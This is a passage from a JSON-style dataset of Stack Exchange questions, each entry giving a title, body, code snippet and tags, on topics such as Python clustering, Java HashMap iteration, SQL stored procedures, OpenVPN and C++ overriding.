numpy.random as random\nimport
numpy\n\nimport pylab\npylab.ion()\n\ndata = random.randn(2,200)\n\
ndata[:100,:100] += 10\n\nfor i in range(5,15):\n thresh = i/10.\n clusters =
hcluster.fclusterdata(numpy.transpose(data), thresh)\n pylab.scatter(*data[:,:],
c=clusters)\n pylab.axis(\"equal\")\n title = \"threshold: %f, number of
clusters: %d\" % (thresh, len(set(clusters)))\n print title\n
pylab.title(title)\n pylab.draw()\n time.sleep(0.5)\n pylab.clf()\n",
"python scipy cluster-analysis hierarchical-clustering"], "3423183": ["Java :
Iteration through a HashMap, which is more efficient?", "Given the following code,
with two alternative ways to iterate through it,\nis there any performance
difference between these two methods?\n\nI am inclined to think that is the more
efficient means of iterating through the entire (but I could be wrong)\n", "
Map<String, Integer> map = new HashMap<String, Integer>();\n //populate map\
n\n //alt. #1\n for (String key : map.keySet())\n {\n
Integer value = map.get(key);\n //use key and value\n }\n\n
//alt. #2\n for (Map.Entry<String, Integer> entry : map.entrySet())\n
{\n String key = entry.getKey();\n Integer value =
entry.getValue();\n //use key and value\n }\n", "java map
performance hashmap iteration"], "2437464": ["MVC Master page and RenderPartial",
"I'm trying to create nested master pages in MVC. In the main master page I have a
partial view that is rendered using Html.RenderPartial. This works fine when using
the main master page directly in my view. The problem occurs when I have a child
master page of the main master page. When using the child master page the
RenderPartial method is not working. Code is below. \nIs this a limitation of
RenderPartial? \nMain Master page - \n\nChild Master Page - \n\n", " <%@ Master
Language=\"VB\" Inherits=\"System.Web.Mvc.ViewMasterPage\"%>\n\n<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<html
xmlns=\"http://www.w3.org/1999/xhtml\" >\n<head id=\"Head1\" runat=\"server\">\n
<title></title>\n\n <style type=\"text/css\">\n\n html\n {\n
background-color:gray;\n }\n\n .column\n {\n float:left;\n
width:300px;\n border:solid 1px black;\n margin-right:10px;\n
padding:5px;\n background-color:white;\n\n min-height:500px;\n
}\n\n </style>\n\n <asp:ContentPlaceHolder ID=\"head\" runat=\"server\">\n
</asp:ContentPlaceHolder>\n</head>\n<body>\n\n <h1>My Website</h1>\n\n <div
class=\"column\">\n <asp:ContentPlaceHolder ID=\"Column1Content\"
runat=\"server\">\n </asp:ContentPlaceHolder>\n </div>\n <div
class=\"column\">\n <asp:ContentPlaceHolder ID=\"Column2Content\"
runat=\"server\">\n <%Html.RenderPartial(\"TestControl\")%>\n
</asp:ContentPlaceHolder>\n </div>\n\n</body>\n</html>\n", "mvc nested page
master"], "5635191": ["How to get an object of a unknown class with given
classname", "I am searching for a way to determine at runtime, which type of object
should be alloced (based on a given class name, which is of type ).\nWell the
simplest way of course is to use loads of s /s, but that doesnt seem applicable,
because i have > 100 different classes(well at least they all derive from one base
class), and i have to add new classes quite regularly aswell.\nI already came up
with a first draft, but sadly it doesnt compile yet (mingw & g++ 4.4)\n\nbut that
doesnt stop gcc from trying to generate code for which fails\nDo you have any
idea, how to fix this, or any other idea ?\nThanks.\nEDIT: i solved it:\n\nEDIT For
interested readers:\nYou should now that the implementation above is NOT compiler
independent at all.\nThe output of is compiler/implementation specific.\nUsing a
variable or function inside all Derived classes, would fix this, but adds a bunch
of work(of course you can use a macro for this, but if you are using macros
already, you could aswell use another object factory method)\n", "const char*", "c+
+ c++0x function-templates"], "2732410": ["Symfony Unable to allocate memory for
pool", "\nPossible Duplicate:\nWhat is causing \u201cUnable to allocate memory for
pool\u201d in PHP? \n\nToday I noticed the next error:\n\nIts a strange error, if I
reload the page sometimes 2 files has this error, other times all the files.\nIt is
in my JS and CSS files.\n", "ErrorException: Warning: require() [function.require]:
Unable to allocate memory for pool. in
/symfony/symfony/src/Symfony/Component/ClassLoader/DebugClassLoader.php line 82\n",
"php memory symfony2"], "4462529": ["Back button on jQuery/iframe", "I'm pulling in
a registration form from a third party on my company's website
(http://www.pershing.com/events/customer_conference/register/index.html). \n\nThe
user selects the type of attendee they are and hits \"Next\". \nAt this point they
are asked to input their information. \n\nThe problem happens when the user
hits \"Back\". The iFrame doesn't resize since the page is not getting refreshed.
\nCan somebody please help me? Would I be able to add some type of \"onClick\"
function to the \"Back\" and \"Next\" buttons? Thanks.\n", "", "jquery iframe"],
"2782805": ["How to setup and manage a shared hosting server on Windows Server 2008
R2 Web Edition?", "Background\nI am a newbie in using Windows Server 2008 R2 Web
Edition (and other editions as well).\nI have a static IP, a very fast internet
connection, a server (PRIMERGY TX100 S1 Server) and Windows Server 2008 R2 Web
Edition (trial version).\nThe objective is to setup the server to be a shared
hosting server such that each of my friends has a private account\n\nto manage
his/her domain.\nto upload his/her web content to the server using the encrypted
ftp.\nto manage database administration.\nto manage Certificate.\netc\n\nQuestions\
n\nIs there a good reference to learn \"how to setup and manage a shared hosting
server on Windows Server 2008 R2\" ?\nWhat are the rough steps I have to do to
accomplish my objective?\n\n", "", "windows-server-2008-r2 iis7.5"], "2194737":
["Force Download of Files with PHP", "My PHP knowledge is limited and I am trying
to implement http://www.tutorialchip.com/php-download-file-script/ this script into
my site. I have pushed up their files unchanged here
http://brooksmemories.com/test/. If a file is clicked I get the following errors\
n\n\nI am not sure how to correct these errors to get it working. Any help would
be greatly appreciated. Thank you.\n", "Strict Standards: main() [function.main]:
It is not safe to rely on the system's timezone settings. Please use the
date.timezone setting, the TZ environment variable or the
date_default_timezone_set() function. In case you used any of those methods and you
are still getting this warning, you most likely misspelled the timezone identifier.
We selected 'America/Chicago' for 'CDT/-5.0/DST' instead in
/home/inspire/public_html/brooksmemories.com/test/download.php on line 16", "php
image download"], "2207140": ["Reasons for direct_io failure", "I want to know
under what circumstances a direct I/O transfer will fail?\nI have following three
sub-queries for that. As per \"Understanding Linux kernel\" book..\n\nLinux offers
a simple way to bypass the page cache: direct I/O transfers. In each I/O direct
transfer, the kernel programs the disk controller to transfer the data directly
from/to pages belonging to the User Mode address space of a self-caching
application.\n\n-- So to explain failure one needs to check whether application has
self caching feature or not? Not sure how that can be done.\n2.Furthermore the book
says \"When a self-caching application wishes to directly access a file, it opens
the file specifying the O_DIRECT flag . While servicing the open( ) system call,
the dentry_open( ) function checks whether the direct_IO method is implemented for
the address_space object of the file being opened, and returns an error code in the
opposite case\". \n-- Apart from this any other reason that can explain direct I/O
failure ?\n3.Will this command \"dd if=/dev/zero of=myfile bs=1M count=1
oflag=direct\" ever fail in linux (assuming ample disk space available) ?\n", "",
"linux file-io kernel"], "1187815": ["What package do I need to isntall on CentOS 5
to get system-config-network X11 GUI?", "The title says it all really.\nWhat
package do I need to get via yum on CentOS 5 to be able to run the X11 version of
system-config-network?\nATM I only have the tui version which is horrific.\
nThanks,\nBart.\n", "", "linux networking configuration packages centos5"],
"911119": ["How much disk space would take to list every possible UEI-48 or MAC
address?", "Is it (2^48) possible addresses X 48 bits = 1536 terabytes ?? \n", "",
"networking binary"], "12935": ["Problem with the POSIX module", "After moving my
mod_perl site from Linux hosting to FreeBSD, I have this error in the logfile:\n\n\
nYour vendor has not defined POSIX macro SIGRTMIN, used at ../../lib/POSIX.pm
(autosplit into ../../lib/auto/POSIX/SigRt/_init.al) line 993\\n\n\n\nThe script
just imports POSIX and utilizes some functions (ceil, etc)\nHow can I solve this
issue ?\n", "", "perl posix freebsd mod-perl"], "4461951": ["Configure Eclipse
Formatter with m2e", "is there any existing m2e-extension to configure Eclipse
Formatter when importing a Maven project into eclipse?\nWe are using custom
checkstyle rules and m2eclipse configures the Eclipse-CS-plugin for us. But in
addition I want the Eclipse Formatter to be configured as well...\nThanks for
answers.\n", "", "eclipse maven m2eclipse m2e"], "932846": ["How to make all files
non-executable recursively using find without
affecting directories?", "I need to strip the executable flag from all files
within a certain directory and sub directories. Right now I'm doing it with a 2
step process\n\nIs it possible to modify the first line so that I can strip exec
flag from all non-directory files? Since this needs to be done on a fairly regular
basis across a lot of directories and files, I'd prefer not to use a bash script
which would slow it down.\n", "find /dir/ -type f -exec chmod ugo-x {} \\;\nfind
/dir/ -type d -exec chmod ugo+rx {} \\;\n", "linux find command-line flag"],
"113852": ["Find tag with id including [] with Nokogiri", "I have an html element
like:\n\nI want to search for this element by id, but it seems that nokogiri is
getting confused by the []. I'm trying:\n\nbut to no avail.\n", "<div
id=\"spam[500]\">\n", "ruby-on-rails nokogiri"], "1798146": ["Importing Active
Directory fields into User Profile Managed Metadata Properties", "In the simplest
approach, we've created a term set for our company's departments. Our Active
Directory also captures this information as a string property. When we import our
users from AD into SharePoint, we want to map the Department value from AD into the
SharePoint Managed Metadata field.\nI know SharePoint has built in Managed Metadata
Profile fields, but do they get imported from AD? We don't want our users to
manually enter this information (nor change it). \nIs this readily available and
I've been mis-reading all the research I've been looking through, or is it really
impossible (OOTB without code) to map an AD field into a Managed Metadata field?\
n", "", "2010 user-profile managed-metadata user-profile-service"], "5656659":
["Surf missing in opencv 2.4 for python", "I'm trying to instantiate a SURF object
in python using OpenCV as described here but this happens:\n\nDoes anyone know why
this happens or if SURF is missing from the Python version of OpenCV?\n", ">>>
import cv2\n>>> cv2.__version__\n'2.4.0'\n>>> cv2.SURF()\nTraceback (most recent
call last):\n File \"<stdin>\", line 1, in <module>\nAttributeError: 'module'
object has no attribute 'SURF'\n", "python opencv surf"], "1076441": ["return MAC
address of active interfaces in local network with bash script", "I have an Ubuntu
server in a local network that has a number of other devices on the network, both
LAN and wireless. I would like to run a bash script to find out the MAC address
(only one per machine) of the interface that is in use on all the machines in the
local network. This means depending on what someone's laptop was using (LAN or
wireless or other) that it would return only address of the active interface. \nI'm
not sure which command to use (maybe arp?). works only for my local machine but I
would like to do something like this regex:\nBest way to extract mac address from
ifconfig output ?\nany suggestions?\n", "ifconfig", "networking ubuntu local mac-
address"], "2136114": ["Can I call a base class's virtual function if I'm
overriding it?", "Say I have class Foo and Bar set up like this:\n\nAs annotated in
the code, I'd like to be able to call the base class's function that I'm
overriding. In Java there's the super.funcname() syntax. Is this possible in C++?\
n", "class Foo\n{\npublic:\n int x;\n\n virtual void printStuff()\n {\n
std::cout << x << std::endl;\n }\n};\n\nclass Bar : public Foo\n{\npublic:\n
int y;\n\n void printStuff()\n {\n // I would like to call
Foo.printStuff() here...\n std::cout << y << std::endl;\n }\n};\n", "c++
virtual overriding"], "3423181": ["how to speed up enumerate for numpy array / how
to enumerate over numpy array efficiently?", "I need to generate a lot of random
numbers. I've tried using but this function is quite slow. Therefore I switched to
which is way faster! So far so good. The generated random numbers are actually used
to calculate some thing (based on the number). I therefore over each number and
replace the value. This seems to kill all my previously gained speedup. Here are
the stats generated with :\n\nas you can see, generating the number is almost 10
times faster using numpy, but enumerating over those numbers gives me equal run
times.\nBelow is the code that I'm using:\n\nWhat's the best way to speed this up
and why does slow things down so dramatically?\nEDIT: the reason I use is because
I need both the index and the value of the current element.\n", "random.random",
"python numpy"], "881470": ["Get custom itemsAdapter id using cursor android", "I'm
trying to pass the item clicked to another activity i.e from A to B using a custom
itemsAdapter with sqlite.\nHow can I achieve the following?\n1)Get the item clicked
position using cursor\n2)Pass the item clicked to another activity\nI'm trying to
do similar to this example but use my own custom adapter\nI have dome the following
so far.\nActivity A:\n\nActivity B:\n\nAdded the Adapter\n\nPlease kindly give me a
solution.\n", "public void onListItemClick(ListView parent, View view, int
position, long id) {\nIntent intent = new Intent(this,F32Activity.class);\nCursor
cursor = (Cursor) itemsAdapter.getItem(position);\nintent.putExtra(\"PROPERTY_ID\",
cursor.getInt(cursor.getColumnIndex(\"_id\")));\n\nstartActivity(intent);\nreturn;\
n }\n", "android database cursor cursor-position custom-adapter"], "5277641":
["Behavior-Driven Development / Use case diagram", "Regarding growing of Behavior-
Driven Development imposing acceptance testing, are use cases diagram useful or do
they lead to an \"over-documentation\"? \nIndeed, acceptance tests representing
specifications by example, as use cases promote despite of a more generic manner
(since cases, not scenarios), aren't they too similar to treat them both at the
time of a newly created project?\nFrom this link, one opinion is:\n\nAnother
realization I had is that if you do UseCases and automated\n AcceptanceTests you
are essentially doubling your work. There is\n duplication between the UseCases
and the AcceptanceTests. I think\n there is a good case to be made that
UserStories + AcceptanceTests are\n more efficient way to work when compared to
UseCases +\n AcceptanceTests.\n\nWhat to think about?\n", "", "agile testing bdd
use-case"], "5584446": ["Do the issues with sharpness I am seeing require AF fine-
tuning?", "I own a nikon D7000 with 18-105 lens. I am not happy with sharpness I
get with autofocus in portraits. I read about front/back focusing, but I am not
sure whether my gear has this issue. Is this issue related with autofocus only? How
can I figure if camera/lens need any tuning or calibration and what is involved in
the process.\nSome sample
photos\n1.http://www.flickr.com/photos/91114978@N05/8530128087/in/photostream\
n2.http://www.flickr.com/photos/91114978@N05/8530125481/in/photostream\n", "",
"nikon autofocus focus nikon-d7000 calibration"], "2408688": ["@Resource annotation
not working properly with JBoss5.0.1", "I'm tring to deploy my app in JBoss 5.0.1.
Some of my beans in this app are using annotations. If i understood the problem,
my guess is JBoss is tring to process this annotation before spring-core. And i
noticed that \"Mapped-name\" is mandatory for JBoss implementation of
annotation. \n\n15:53:04,037 ERROR [StandardContext] Context [/***] startup failed
due to previous errors\njava.lang.RuntimeException: mapped-name is required for
com.***.***.**ServiceImpl/XXprocess\n at
org.jboss.web.tomcat.service.injection.WebResourceHandler.loadXmlResourceEnvRefs(We
bResourceHandler.java:287)\n at
org.jboss.web.tomcat.service.injection.WebResourceHandler.loadXml(WebResourceHandle
r.java:325)\n at
org.jboss.web.tomcat.service.TomcatInjectionContainer.processMetadata(TomcatInjecti
onContainer.java:550)\n at
org.jboss.web.tomcat.service.WebCtxLoader.start(WebCtxLoader.java:158)\n at
org.apache.catalina.core.StandardContext.start(StandardContext.java:4272)\n
at
org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(Tomca
tDeployment.java:310)\n at
org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeploy(TomcatDeploym
ent.java:142)\n at
org.jboss.web.deployers.AbstractWarDeployment.start(AbstractWarDeployment.java:461)
\n at org.jboss.web.deployers.WebModule.startModule(WebModule.java:118)\n
at org.jboss.web.deployers.WebModule.start(WebModule.java:97)\n at
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n at java.lang.reflect.Method.invoke(Method.java:597)\n at
org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:157)\n
at org.jboss.mx.server.Invocation.dispatch(Invocation.java:96)\n at
org.jboss.mx.server.Invocation.invoke(Invocation.java:88)\n at
org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264)\n
at org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:668)\n at
org.jboss.system.microcontainer.ServiceProxy.invoke(ServiceProxy.java:206)\n
at $Proxy38.start(Unknown Source)\n at
org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLif
ecycleAction.java:42)\n at
org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLif
ecycleAction.java:37)\n at
org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallActi
on(SimpleControllerContextAct\n at
org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessCon
trollerContextAction.java:71)\n at
org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractContr
ollerContextActions.java:51)\n at
org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerCo
ntext.java:348)\n
at
org.jboss.system.microcontainer.ServiceControllerContext.install(ServiceControllerC
ontext.java:297)\n at
org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:163
3)\n at
org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.j
ava:935)\n at
org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.
java:1083)\n at
org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.
java:985)\n at
org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:823)
\n at
org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
\n at
org.jboss.system.ServiceController.doChange(ServiceController.java:688)\n at
org.jboss.system.ServiceController.start(ServiceController.java:460)\n at
org.jboss.system.deployers.ServiceDeployer.start(ServiceDeployer.java:163)\n
at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:99)\n
at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:46)\n
at
org.jboss.deployers.spi.deployer.helpers.AbstractSimpleRealDeployer.internalDeploy(
AbstractSimpleRealDeployer.ja\n at
org.jboss.deployers.spi.deployer.helpers.AbstractRealDeployer.deploy(AbstractRealDe
ployer.java:50)\n at
org.jboss.deployers.plugins.deployers.DeployerWrapper.deploy(DeployerWrapper.java:1
71)\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.doDeploy(DeployersImpl.java:144
0)\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersI
mpl.java:1158)\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersI
mpl.java:1179)\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersI
mpl.java:1211)\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.install(DeployersImpl.java:1099
)\n at
org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerCo
ntext.java:348)\n at
org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:163
3)\n at
org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.j
ava:935)\n at
org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.
java:1083)\n at
org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.
java:985)\n at
org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:823)
\n at
org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
\n at
org.jboss.deployers.plugins.deployers.DeployersImpl.process(DeployersImpl.java:782)
\n at
org.jboss.deployers.plugins.main.MainDeployerImpl.process(MainDeployerImpl.java:702
)\n at
org.jboss.system.server.profileservice.repository.MainDeployerAdapter.process(MainD
eployerAdapter.java:117)\n at
org.jboss.system.server.profileservice.repository.ProfileDeployAction.install(Profi
leDeployAction.java:70)\n at
org.jboss.system.server.profileservice.repository.AbstractProfileAction.install(Abs
tractProfileAction.java:53)\n\n", "@Resource", "java spring jboss5.x java-ee-5"],
"5229593": ["How can I modify the services.msc file in Windows 7", "I want to
modify the default view when using Services from Administrative Tools under Windows
7, similar to this previous SuperUser question relating to Windows XP:\nHow can I
open WinXP's Services control panel applet on the Standard tab by default?\
nHowever, Windows 7 won't let me modify the file C:\\Windows\\System32\\
services.msc.\nI've tried both of the following to change the file, but both result
in \"Access is denied\":\n* Go to file Properties->Security and try to add my
username with full control; and\n* Open a command prompt as Administrator, and try
to use the copy command to overwrite the file in System32 with one in another
location.\nI can save a copy to my desktop and access services that way, but would
like to change the default view when it is opened from Administrative Tools. Is
there any way to do this in Windows 7?\nEdit to clarify: I specifically want to
make Services always open on the Standard tab (as per the linked question), and
with wider columns, when accessed through Control Panel->Administrative Tools.\
nIdeally, I would also like the same behaviour when Services is accessed through
right-clicking Computer then clicking Manage.\nWindows 7 does not permit modifying
the relevant .msc files in the System32 directory.\n", "", "windows-7 services
control-panel"], "1886135": ["Visual studio parameterized unit test like java", "in
java test wnvorienment I can use parameterized unit test like following code,\n\
nBut how can I do this in visual studio unit test project. I cannot find
parametirezed attribute or any sample like this.\n", "@RunWith(value =
Parameterized.class)\npublic class JunitTest6 {\n\n private int number;\n\n
public JunitTest6(int number) {\n this.number = number;\n }\n\n
@Parameters\n public static Collection<Object[]> data() {\n Object[][]
data = new Object[][] { { 1 }, { 2 }, { 3 }, { 4 } };\n return
Arrays.asList(data);\n }\n\n @Test\n public void pushTest() {\n
System.out.println(\"Parameterized Number is : \" + number);\n }\n}\n", "c# java
unit-testing junit tdd"], "3281847": ["$i^2$ why is it $-1$ when you can show it is
$1$?", "We know $$i^2=-1 $$then why does this happen?\n$$\ni^2 = \\sqrt{-1}\\
times\\sqrt{-1}\n$$\n$$\n=\\sqrt{-1\\times-1}\n$$\n$$\n=\\sqrt{1}\n$$\n$$\n= 1\n$$\
nEDIT: I see this has been dealt with before but at least with this answer I'm not
making the fundamental mistake of assuming an incorrect definition of $i^2$.\n",
"", "algebra-precalculus complex-numbers fake-proofs"], "702811": ["How to
alternate the web controller response between HttpEntity and ModelAndView in
Spring", "I have a Spring 3.0 application, with an Web Controller Method. This
method normaly return a file in the http response, therefore I used the return type
. But now there is a second requirement: if the file is larger than 1MB and it is
after 10 o'clock, a HTML page should be displayed.\nSo my problem is, that the
method sometimes should be return a and sometimes a . But how can one have this
two different kinds of a return type?\n(Ok the requirement is not 10 o'clock, it is
much more complicated, but the point is, that this dessicion can be made only in
the controller.)\n(This application uses classic JSPX for rendering HTML paged.)\
n", "org.springframework.http.HttpEntity", "java spring"], "3397962": ["Is there a
good drive torture test tool?", "I have been having odd and rare filesystem
corruption lately that I suspect is the fault of my SSD. I am looking for a good
drive torture test tool. Something that can write to the whole disk, then go back
and read it looking for flying writes, corrupted blocks, blocks reverted to older
revisions, and other errors. This would be much more than what does. Is there
such a tool?\nNote I am not looking for a performance benchmark and already checked
the SMART status; says healthy and no bad blocks reported.\n", "badblocks",
"disk"], "4434768": ["Custom .NET Membership", "I use .net membership but
everything what i work i want to be custom.\nWhat i want to do is:\n\nCreate custom
data table [Users] with custom fields\nImport current data into new table\nCreate
custom classes and functions about everything what i need for [Users]\n\nI`m not
sure how .net membership works, but maybe it send encrypted cookie then when i use\
n\n.Net decrypt user cookie and know which user is.\nHere is a screenshot how .net
create user AUTH cookie http://prntscr.com/97043\nBut everytime user logout-login,
this value is different.\nSo what i want to know is:\n\nLets say i want to make
100% custom website, how i can make custom login?\nCan you tell me all security
issues about going for custom membership?\n\n", "var user = Membership.GetUser();\
n", "asp.net security c#-4.0 login asp.net-membership"], "3281511": ["Why this
python line is not an error?", "why the next python line is not a syntax error? If
it is really not then how can I use it and in which situation it will be useful?\n\
n", " a= range(10)[1:3]=[2,3]\n", "python syntax syntax-error"], "3910670":
["Windows Firewall using programmatically", "I have difficulties to find anything
related windows firewall (about how to add aplications to except list, close ports
or disable internet access to some applications) in C++. I found even MS site shows
examples in Visual Basic.\nWhere i can find examples in C++ ?\nThanks\n", "", "c++
firewall"], "5341480": ["OpenVPN doesn't use remote gateway by default", "I've
setup an OpenVPN server, clients can connect without any problem, but they still
use their existing internet connections, and still have their existing public IP's.
\nHow is it possible to basically set \"Use default gateway on remote network\" to
TRUE, on the OpenVPN client side?\nThanks in advance!\n", "", "openvpn"],
"4438593": ["How can I find a basis for the kernel of a homomorphism on a free
abelian group?", "Let $\\phi\\colon F\\to G$ be a homomorphism of finitely
generated abelian groups. If $F$ is free, then $\\ker(\\phi)$ is also free and thus
admits a basis.\nQuestion: Is there a general procedure to find a basis for $\\
ker(\\phi)$?\n\nAs an example, consider the homomorphism $\\phi\\colon\\mathbb
Z^3\\to (\\mathbb Z/2)^2$ given by the matrix\n$$\n\\begin{pmatrix}\
n1&1&0\\\\0&1&1\n\\end{pmatrix}.\n$$\nAfter playing around, I guess that the
elements $\\begin{pmatrix}0\\\\2\\\\0\\end{pmatrix}$, $\\
begin{pmatrix}1\\\\1\\\\0\\end{pmatrix}$ and $\\begin{pmatrix}0\\\\1\\\\1\\
end{pmatrix}$ form a basis. Is this true? How
could I see this in a systematic way?\n", "", "linear-algebra abstract-algebra"],
"4983199": ["django template inheritance and assingment_tag", "I want to write an
assignment tag and add in \n\nand in a template\n\nVariable isn't visible in the
blocks. \nIf I write\n\nobj is defined in the block but undefined in \"content\"
block.\nHow to make the variable available in the blocks?\n",
"app/templatetags/app_extras.py", "django inheritance block extends"], "3565492":
["JasperViewer: How to set filename while saving report?", "I am creating Java
desktop application. I am using DynamicReports API to create report. \nThe report
was viewed in a JasperViewer. When I click save button, I want to display a name
for report to save by default. How to set name for the report by default?\n", "",
"java jasper-reports jasperviewer"], "613114": ["Best solution for optional
parameter in stored procedure", "Consider following sample procedure that take some
parameters.\n\nBecause value of parameters might be null, I find tow solutions for
handle it.\n\nUse or contition like this:\n(@Name is Null or Name =
@Name)\nUse dynamic sql and add condition to query if parameter value is not null.\
n\nExists several table join in CustomerView view and this table have large amount
of data and performance is very important. Solution 1 has overhead (execution
plan). For some reasons I can not use Dynamic sql. There is a better way to build
this query?\nWhen I use condition @Name is Null or Name = @Name) instead of Name =
@Name and view execution plan, index seek cost increases.\n", "Create Procedure
CustomerSearch(\n@Name nVarChar(100) = Null,\n@Phone nVarChar(100) =
Null,\n@Address nVarChar(100) = Null,\n)\nAs\n\nSelect *\n From
dbo.CustomerView\n Where (@Name is Null or Name = @Name) And\n
(@Phone is Null or Phone = @Phone) And\n (@Address is
Null or Address = @Address)\n", "sql sql-server dynamic-sql"], "5425370": ["No
GUI after upgrade to Ubuntu 9.10 (boots to command line)", "I have just upgraded to
Ubuntu 9.10 (network upgrade using the update manager, from 9.04 which had
different graphics related problems) and when I try to boot into it all I get a
small Ubuntu logo, flickering text and then the tty1 command line with a logon
prompt.\n gives following error:\nFatal server error: no screens found\nI traced
down a tutorial that said I needed the latest graphics drivers (Gigabyte ATI Radeon
4650 HD installed with 9.10 catalyst drivers) so I did using the 'sh' command and a
USB stick (I have a working Windows partition) and it installed fine but did not
fix the problem.\nEdit:\nThanks to UK and Arjan below I was able to understand the
full error message of start x:\nParse error on lone 2 of /etc/X11/xorg.conf\
n'nameserver' is not a valid keyword in this section\nFatal server error: no
screens found\nThis has nothing to do with a graphical error (sorry if I misled
anyone) but the xorg.conf file has 3 lines in it and lines 2-3 have an entry
'nameserver'. Using the nano command I commented out (using a # before the entries)
the nameservers and can now boot Ubuntu.\nThanks to everyone for their help.\n",
"startx", "graphics-card upgrade ubuntu-9.10"], "4964974": ["Yoneda lemma applied
to finite dimensional vector spaces.", "This question is stenmed from my attempts
to review my underestimating of the basic theory of finite dimensional vector
spaces in a categorical language, and particularly to highlight he functorial
behavior of the concept of base. My hope is to see possible corrections,
clarifications or link to a more through expansions of such attempts:\nBackground:\
nA vector space is finite dimensional if it has a finite spanning subset. Let us
denote the category of finite dimensional vector spaces and linear transformations
by $\\mathcal{V}$ and the well known category of matrices by $\\mathcal{M}$,
assuming that the underlying field is understood. Recall that the object of $\\
mathcal{M}$ are natural numbers and morphisms from $m$ to $n$ are matrices with $m$
rows and $n$ columns. (Fortunately, the matrix multiplication and the famous
identity $I^{n\\times n}$ matrices composition satisfy the axioms of category). \
nQuestion:\n\nObviously, a base has a functorial nature but how one should
introduce the concept of base, purely in categorical language? Is the base a
representable functor and does the canonical way of obtaining a (standard) base has
anything to do with Yonada lemma?\n\nThanks.\n", "", "category-theory vector-
spaces"], "5038000": ["Is it possible to create objects with circular references in
Unity?", "\n", "public interface IBaz { IBar bar { get; set; } }\npublic class
Baz : IBaz\n{\n public IBar bar { get; set; }\n public Baz(IBar bar)
{ this.bar = bar; }\n}\n\npublic interface IBar { IBaz baz { get; set; } }\
npublic class Bar : IBar\n{\n public IBaz baz { get; set; }\n public Bar(IBaz
baz) { this.baz = baz; }\n}\n\nclass Program\n{\n static void Main(string[]
args)\n {\n IUnityContainer container = new UnityContainer();\n\n
container.RegisterType<IBar, Bar>(new ContainerControlledLifetimeManager());\n
container.RegisterType<IBaz, Baz>(new ContainerControlledLifetimeManager());\n\n
//Problem 1: I get a stack-overflow, but I am using the singleton lifetime
manager?\n var bar = container.Resolve<IBar>(); \n var baz =
container.Resolve<IBaz>();\n\n //Problem 2: I want Unity to do this
automatically for me. How?\n bar.baz = baz; baz.bar = bar;\n\n var
result = object.ReferenceEquals(bar, baz.bar) && object.ReferenceEquals(baz,
bar.baz); \n }\n", "unity circular-dependency"], "2783180": ["interactive 3D
diagrams in Flash? (not bars)", "I'm searching a (free or commercial) Flash
component that can display 3D diagrams (three axes) and allow the user to
interactively rotate the diagram.\nThe kind of diagram I'm talking about looks like
this:\n.\nThe component would be used to display various three-dimensional arrays
served either from a server or JavaScript.\nI think I could write such a component
myself, but really want to avoid to reinvent the wheel...\nAny .swf available that
does this?\n", "", "flash 3d diagram"], "5153356": ["network programming in
python", "I established a TCP client server connection in python where the server
sends code to the client and the client evaluates the code sent.The code is sent
from a file in the server. While runnig the code, it works fine at times, but at
times the client code doesn't work.. It gets stuck.. Is it some problem with the
network connection or the ports? But if so, how does it work at other times? \
nserver side sending code(being read from a .py file)\n\nclient side receiving
code\n\nI am reading the data from a file in the server side, sending it over the
network and storing it into another .py file on the client side. This runs properly
at times, but at times it gets stuck.\n", " info = finp.readlines() \n for
line in info:\n self.channel.send(line)\n self.channel.send(\"#p\") \n",
"python network-programming"], "1621432": ["Can I search bash history across all
users on a server?", "I want to see all bash commands that have been run on a Linux
server across multiple user accounts. The specific distribution I'm using is CentOS
5.7. Is there a way to globally search .bash_history files on a server or would it
be a more home-grown process of ? (I shudder just typing that out).\n", "locate |
cat | grep", "linux bash users command-history"], "5031536": ["How to detect
uninitialized memory (C++, windows, VS2005)?", "I'm looking for memory debugger for
Windows which will be able to debug uninitialized memory.\nThere is a code snippet
(C++):\n\nDesirable features:\n\ndynamic memory debugger, not static analysis tool\
nGUI\nfree\nintegration with VS2005\nsimple to use\n\nTried to use:\n\nRational
